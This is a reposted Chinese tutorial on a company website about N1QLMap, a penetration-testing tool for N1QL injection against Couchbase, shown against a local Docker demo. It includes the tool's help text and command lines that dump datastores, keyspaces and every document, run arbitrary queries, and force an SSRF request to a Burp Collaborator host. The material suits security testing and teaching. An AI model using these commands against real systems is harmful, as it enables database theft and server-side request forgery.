怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)

這篇文章主要講解了“怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)”,文中的講解內(nèi)容簡單清晰,易于學(xué)習(xí)與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)”吧!

江漢ssl適用于網(wǎng)站、小程序/APP、API接口等需要進(jìn)行數(shù)據(jù)傳輸應(yīng)用場景,ssl證書未來市場廣闊!成為創(chuàng)新互聯(lián)的ssl證書銷售渠道,可以享受市場價(jià)格4-6折優(yōu)惠!如果有意向歡迎電話聯(lián)系或者加微信:18982081108(備注:SSL證書合作)期待與您的合作!

N1QLMap

N1QLMap是一款功能強(qiáng)大的N1QL注入漏洞利用工具,當(dāng)前支持針對Couchbase數(shù)據(jù)庫進(jìn)行滲透。該工具支持通過CURL進(jìn)行數(shù)據(jù)提取和SSRF攻擊。該工具基于Python開發(fā),因此具備較好的跨平臺特性。

工具下載

廣大研究人員可以使用下列命令將該項(xiàng)目源碼克隆至本地:

git clone https://github.com/FSecureLABS/N1QLMap.git

工具幫助信息

usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]

                  (-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])

                  host

 

positional arguments:

  host                  Host used to send an HTTP request e.g. https://vulndomain.net

 

optional arguments:

  -h, --help            show this help message and exit

  -r REQUEST, --request REQUEST

                        Path to an HTTP request

  -k KEYWORD, --keyword KEYWORD

                        Keyword that exists in HTTP response when query is successful

  --proxy PROXY         Proxy server address

  --validatecerts       Set the flag to enforce certificate validation. Certificates are not validated by default!

  -v, --verbose_debug   Set the verbosity level to debug

  -d, --datastores      Lists available datastores

  -ks DATASTORE_URL, --keyspaces DATASTORE_URL

                        Lists available keyspaces for specific datastore URL

  -e KEYSPACE_ID, --extract KEYSPACE_ID

                        Extracts data from a specific keyspace

  -q QUERY, --query QUERY

                        Run arbitrary N1QL query

  -c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]

                        Runs CURL N1QL function inside the query, can be used to SSRF

工具使用

首先,我們需要向request.txt文件添加一個(gè)HTTP請求,然后使用*i*來制作一個(gè)注入點(diǎn),大家可以通過查看example_request_1.txt文件以供參考。

接下來,需要執(zhí)行下列命令。

提取數(shù)據(jù)存儲:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores

從特定數(shù)據(jù)存儲ID提取密鑰空間:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"

從給定密鑰空間提取全部文檔:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

運(yùn)行任意查詢語句:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'

執(zhí)行CURL請求/SSRF:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"

工具要求

除了Python 3環(huán)境之外,N1QLMap.py腳本不需其他任何的依賴組件。

下列組件僅Demo所需,Demo位于該項(xiàng)目的n1ql-demo目錄下:

  • Docker

  • Docer Compose

如需在Kali上安裝Docker和Docker Compose,請運(yùn)行下列命令:

# Docker Installation

curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -

echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list

apt-get update

 

apt-get remove docker docker-engine docker.io

apt-get install docker-ce

 

# Start Docker Service

systemctl start docker

 

# Docker Compose Installation

sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

接下來,運(yùn)行下列命令即可測試Docker:

docker run hello-world

工具使用樣例-Demo

如需測試該工具并嘗試?yán)肗1QL注入漏洞,我們可以使用安裝了Couchbase和NodeJS Web應(yīng)用程序的Docker設(shè)備來進(jìn)行測試。如果已經(jīng)安裝好了上述依賴組件,我們可以直接運(yùn)行下列命令進(jìn)行測試:

cd n1ql-demo

./quick_setup.sh

現(xiàn)在,我們就可以執(zhí)行N1QLMap來進(jìn)行N1QL注入漏洞測試并從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)了。

感謝各位的閱讀,以上就是“怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)這一問題有了更深刻的體會,具體使用情況還需要大家實(shí)踐驗(yàn)證。這里是創(chuàng)新互聯(lián),小編將為大家推送更多相關(guān)知識點(diǎn)的文章,歡迎關(guān)注!

當(dāng)前文章:怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)
當(dāng)前鏈接:http://muchs.cn/article10/ijdego.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供移動網(wǎng)站建設(shè)、網(wǎng)站設(shè)計(jì)公司、App設(shè)計(jì)網(wǎng)站改版、微信公眾號

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

商城網(wǎng)站建設(shè)